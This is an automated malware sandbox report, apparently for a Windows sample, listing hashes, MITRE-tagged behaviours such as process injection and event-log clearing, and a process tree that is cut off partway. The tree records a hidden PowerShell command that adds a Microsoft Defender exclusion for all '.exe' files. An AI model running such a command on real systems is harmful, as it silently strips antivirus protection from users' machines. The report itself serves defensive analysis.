8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8

Analysis

max time kernel
151s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 07:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe
Size 15.5MB
Sample260909-h94l6stdlc
SHA256 8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8
MD5 0af5290631b824c9b87ead1c7e140e50
SHA1 71ef8d206b1cc9d6d1bef1fe0a6c8d718226000c
SHA512 690b0b092d4ed4fbc651b793a8e25093946da71cafcb98437b09de04c8b80217319783506e92dd9f9ef114136d755a16b0b2f5a8b973c1ebc19b921fc54082c2
SSDEEP 196608:LsZa5qhmSpDc4GZxgS9jaflhhaTavRYkFSGNXp:LYa5qEic4GZ6aafFa++4p
TLSH
T1FFF68DC5485D9311E5E19BB86DB8F020D26B2405331572FE47329DA83F7ADFA162EE32
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
260	powershell.exe
3124	powershell.exe
3124	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5916	$99Zoom.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3B7CEBA4139B7484BAF665AC9E712D61	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5996 set thread context of 5824	5996	8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe	90

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hgnwuadk.vea.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_m2ujsf2h.nea.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_adnlpngh.5e0.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_e24kmqix.kay.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fubuowsd.nah.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_psezu55m.5oj.psm1	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6060	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6060	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1788938864"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 07 Sep 2026 14:04:54 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%ProgramFiles%\Windows Defender\MpAsDesc.dll,-300 = "Microsoft Defender Antivirus"	wmiprvse.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
260	powershell.exe
260	powershell.exe
260	powershell.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3036	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	260	powershell.exe
Token: SeDebugPrivilege	260	powershell.exe
Token: SeDebugPrivilege	744	winlogon.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3124	powershell.exe
Token: SeIncreaseQuotaPrivilege	3124	powershell.exe
Token: SeSecurityPrivilege	3124	powershell.exe
Token: SeTakeOwnershipPrivilege	3124	powershell.exe
Token: SeLoadDriverPrivilege	3124	powershell.exe
Token: SeBackupPrivilege	3124	powershell.exe
Token: SeRestorePrivilege	3124	powershell.exe
Token: SeShutdownPrivilege	3124	powershell.exe
Token: SeSystemEnvironmentPrivilege	3124	powershell.exe
Token: SeUndockPrivilege	3124	powershell.exe
Token: SeManageVolumePrivilege	3124	powershell.exe
Token: 31	3124	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3648	svchost.exe
Token: SeIncreaseQuotaPrivilege	3648	svchost.exe
Token: SeSecurityPrivilege	3648	svchost.exe
Token: SeTakeOwnershipPrivilege	3648	svchost.exe
Token: SeLoadDriverPrivilege	3648	svchost.exe
Token: SeSystemtimePrivilege	3648	svchost.exe
Token: SeBackupPrivilege	3648	svchost.exe
Token: SeRestorePrivilege	3648	svchost.exe
Token: SeShutdownPrivilege	3648	svchost.exe
Token: SeSystemEnvironmentPrivilege	3648	svchost.exe
Token: SeUndockPrivilege	3648	svchost.exe
Token: SeManageVolumePrivilege	3648	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3648	svchost.exe
Token: SeIncreaseQuotaPrivilege	3648	svchost.exe
Token: SeSecurityPrivilege	3648	svchost.exe
Token: SeTakeOwnershipPrivilege	3648	svchost.exe
Token: SeLoadDriverPrivilege	3648	svchost.exe
Token: SeSystemtimePrivilege	3648	svchost.exe
Token: SeBackupPrivilege	3648	svchost.exe
Token: SeRestorePrivilege	3648	svchost.exe
Token: SeShutdownPrivilege	3648	svchost.exe
Token: SeSystemEnvironmentPrivilege	3648	svchost.exe
Token: SeUndockPrivilege	3648	svchost.exe
Token: SeManageVolumePrivilege	3648	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3648	svchost.exe
Token: SeIncreaseQuotaPrivilege	3648	svchost.exe
Token: SeSecurityPrivilege	3648	svchost.exe
Token: SeTakeOwnershipPrivilege	3648	svchost.exe
Token: SeLoadDriverPrivilege	3648	svchost.exe
Token: SeSystemtimePrivilege	3648	svchost.exe
Token: SeBackupPrivilege	3648	svchost.exe
Token: SeRestorePrivilege	3648	svchost.exe
Token: SeShutdownPrivilege	3648	svchost.exe
Token: SeSystemEnvironmentPrivilege	3648	svchost.exe
Token: SeUndockPrivilege	3648	svchost.exe
Token: SeManageVolumePrivilege	3648	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3648	svchost.exe
Token: SeIncreaseQuotaPrivilege	3648	svchost.exe
Token: SeSecurityPrivilege	3648	svchost.exe
Token: SeTakeOwnershipPrivilege	3648	svchost.exe
Token: SeLoadDriverPrivilege	3648	svchost.exe
Token: SeSystemtimePrivilege	3648	svchost.exe
Token: SeBackupPrivilege	3648	svchost.exe
Token: SeRestorePrivilege	3648	svchost.exe
Token: SeShutdownPrivilege	3648	svchost.exe
Token: SeSystemEnvironmentPrivilege	3648	svchost.exe
Token: SeUndockPrivilege	3648	svchost.exe
Token: SeManageVolumePrivilege	3648	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5996 wrote to memory of 5824	5996	8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe	90
PID 5996 wrote to memory of 5824	5996	8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe	90
PID 6060 wrote to memory of 260	6060	cmd.exe	92
PID 260 wrote to memory of 744	260	powershell.exe	5
PID 744 wrote to memory of 972	744	winlogon.exe	9
PID 744 wrote to memory of 980	744	winlogon.exe	10
PID 744 wrote to memory of 1008	744	winlogon.exe	11
PID 744 wrote to memory of 1040	744	winlogon.exe	13
PID 744 wrote to memory of 1120	744	winlogon.exe	14
PID 744 wrote to memory of 1164	744	winlogon.exe	15
PID 744 wrote to memory of 1244	744	winlogon.exe	16
PID 744 wrote to memory of 1292	744	winlogon.exe	17
PID 744 wrote to memory of 1340	744	winlogon.exe	18
PID 744 wrote to memory of 1524	744	winlogon.exe	22
PID 744 wrote to memory of 1556	744	winlogon.exe	23
PID 744 wrote to memory of 1664	744	winlogon.exe	24
PID 744 wrote to memory of 1780	744	winlogon.exe	25
PID 744 wrote to memory of 1800	744	winlogon.exe	26
PID 744 wrote to memory of 1808	744	winlogon.exe	27
PID 744 wrote to memory of 1944	744	winlogon.exe	28
PID 744 wrote to memory of 1076	744	winlogon.exe	29
PID 744 wrote to memory of 1568	744	winlogon.exe	30
PID 744 wrote to memory of 1520	744	winlogon.exe	31
PID 744 wrote to memory of 2164	744	winlogon.exe	32
PID 744 wrote to memory of 2240	744	winlogon.exe	33
PID 744 wrote to memory of 2268	744	winlogon.exe	34
PID 744 wrote to memory of 2412	744	winlogon.exe	35
PID 744 wrote to memory of 2440	744	winlogon.exe	36
PID 744 wrote to memory of 2552	744	winlogon.exe	37
PID 744 wrote to memory of 2636	744	winlogon.exe	38
PID 744 wrote to memory of 2644	744	winlogon.exe	39
PID 744 wrote to memory of 2680	744	winlogon.exe	40
PID 744 wrote to memory of 2796	744	winlogon.exe	41
PID 744 wrote to memory of 2948	744	winlogon.exe	42
PID 744 wrote to memory of 3016	744	winlogon.exe	43
PID 744 wrote to memory of 2584	744	winlogon.exe	44
PID 744 wrote to memory of 3092	744	winlogon.exe	45
PID 744 wrote to memory of 3140	744	winlogon.exe	46
PID 744 wrote to memory of 3216	744	winlogon.exe	48
PID 744 wrote to memory of 3484	744	winlogon.exe	50
PID 744 wrote to memory of 3568	744	winlogon.exe	51
PID 744 wrote to memory of 3592	744	winlogon.exe	52
PID 744 wrote to memory of 3640	744	winlogon.exe	53
PID 744 wrote to memory of 3648	744	winlogon.exe	54
PID 744 wrote to memory of 3656	744	winlogon.exe	55
PID 744 wrote to memory of 3680	744	winlogon.exe	56
PID 744 wrote to memory of 3552	744	winlogon.exe	57
PID 744 wrote to memory of 836	744	winlogon.exe	58
PID 744 wrote to memory of 4392	744	winlogon.exe	59
PID 744 wrote to memory of 4448	744	winlogon.exe	60
PID 744 wrote to memory of 4468	744	winlogon.exe	61
PID 744 wrote to memory of 4740	744	winlogon.exe	62
PID 744 wrote to memory of 4764	744	winlogon.exe	63
PID 744 wrote to memory of 5100	744	winlogon.exe	64
PID 744 wrote to memory of 5168	744	winlogon.exe	65
PID 744 wrote to memory of 5268	744	winlogon.exe	66
PID 744 wrote to memory of 5536	744	winlogon.exe	69
PID 744 wrote to memory of 1332	744	winlogon.exe	72
PID 744 wrote to memory of 3728	744	winlogon.exe	73
PID 744 wrote to memory of 3028	744	winlogon.exe	74
PID 744 wrote to memory of 2276	744	winlogon.exe	77
PID 744 wrote to memory of 5672	744	winlogon.exe	78
PID 744 wrote to memory of 1000	744	winlogon.exe	79
PID 744 wrote to memory of 4664	744	winlogon.exe	80

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:980
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6024
- C:\Windows\TEMP\$99Zoom.exe
  "C:\Windows\TEMP\$99Zoom.exe"
  2⤵
  - Executes dropped EXE
  PID:5916

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:972

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7ce060b5-84ba-457e-8b42-4c4d26748a46 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5e55a98c-d402-4d06-8bb7-a32c997c4f2b -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-039866e6-1577-4ae4-bc61-bf1c8593895c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b99d67fa-6ce3-41aa-812a-827815d5773b -LifetimeId:1b3e1eac-be30-4903-9d3d-be1946c45a9f -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:1120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1076
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4664
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    PID:3036
  - - C:\Users\Admin\AppData\Local\Temp\8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe
      "C:\Users\Admin\AppData\Local\Temp\8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:5996
    - - C:\Windows\SysWOW64\explorer.exe
        
        C:\\Windows\\SysWOW64\\explorer.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2552
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:000000000000026C;0000000000000270;
  2⤵
  PID:5100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:3016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2584

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3216

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
